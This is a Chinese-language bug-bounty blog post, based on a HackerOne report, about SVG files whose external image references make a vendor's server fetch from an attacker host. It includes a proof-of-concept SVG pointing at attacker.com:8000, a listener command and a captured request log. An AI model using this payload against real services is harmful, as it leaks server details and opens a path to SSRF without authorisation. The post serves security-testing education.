通过svg图片所引发的漏洞

通过svg图片所引发的漏洞

richardo1o1 迪哥讲事 2025-04-26 12:30

通过svg图片所引发的漏洞

正文

漏洞核心:

SVG 是一种 XML 格式的矢量图文件,它支持嵌入其他资源(如图片),比如这样一行代码:


<image xlink:href="http://attacker.com/logo.gif" />


~当 厂商 的服务器/浏览器 渲染这个 SVG 文件时,它会尝试访问这个远程资源

这会造成:

厂商服务器端或浏览器端向攻击者服务器发起请求

攻击者可以看到访问记录,从而 泄露服务器 IP、User-Agent 等信息

在某些特殊场景下,还可能触发 SSRF(Server Side Request Forgery)或用户 CSRF

攻击流程:

攻击者使用 Python在攻击者服务器 启动一个监听 HTTP 请求的服务器:

python3 -m http.server 8000


制作恶意 SVG 文件:poc.svg

<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg"
     xmlns:xlink="http://www.w3.org/1999/xlink"
     width="300" height="200">
  <image xlink:href="http://attacker.com:8000/intl/es_ALL/images/logos/images_logo_lg.gif"
         x="10" y="10" width="276" height="110" />
</svg>



在 厂商的 App 设置页面上传这个 SVG 文件作为 App 图标。

只要 目标系统访问并渲染这个 SVG,就会发起一个 HTTP 请求到攻击者的服务器。

攻击者可以在控制台看到访问记录:


23.227.37.108 - - [02/Jun/2016:17:10:12] "GET /intl/es_ALL/images/logos/images_logo_lg.gif HTTP/1.0" 404 -


从中获取:

厂商的服务器 IP(可用于进一步侦查)

请求时间、路径、User-Agent(识别服务)

判断服务器是否使用代理、防火墙等

如果你是一个长期主义者,欢迎加入我的知识星球,我们一起往前走,每日都会更新,精细化运营,微信识别二维码付费即可加入,如不满意,72 小时内可在 App 内无条件自助退款

往期回顾

如何绕过签名校验

一款bp神器

挖掘有回显ssrf的隐藏payload

ssrf绕过新思路

一个辅助测试ssrf的工具

dom-xss精选文章

年度精选文章

Nuclei权威指南-如何躺赚

漏洞赏金猎人系列-如何测试设置功能IV

漏洞赏金猎人系列-如何测试注册功能以及相关Tips

参考

https://hackerone.com/reports/142709